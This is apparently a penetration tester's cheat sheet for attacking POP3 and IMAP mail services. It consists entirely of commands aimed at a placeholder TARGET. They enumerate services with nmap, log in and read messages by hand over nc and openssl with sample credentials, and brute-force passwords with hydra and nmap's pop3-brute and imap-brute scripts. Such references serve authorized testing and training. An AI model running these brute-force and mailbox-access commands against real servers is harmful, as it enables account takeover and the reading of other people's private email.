110 / 143 - POP3 / IMAP

nmap -sV -sC -p 110,143,993,995 TARGET

nc -nv TARGET 110
USER admin
PASS password
LIST
RETR 1
QUIT

openssl s_client -connect TARGET:995

nc -nv TARGET 143
a1 LOGIN user password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
a5 LOGOUT

openssl s_client -connect TARGET:993

hydra -L users.txt -P passwords.txt pop3://TARGET
hydra -L users.txt -P passwords.txt pop3s://TARGET

hydra -L users.txt -P passwords.txt imap://TARGET
hydra -L users.txt -P passwords.txt imaps://TARGET

# Using curl
curl -u user:password pop3://TARGET/1

nmap -p 110 --script pop3-brute TARGET
nmap -p 143 --script imap-brute TARGET
nmap -p 110 --script pop3-capabilities TARGET
nmap -p 143 --script imap-capabilities TARGET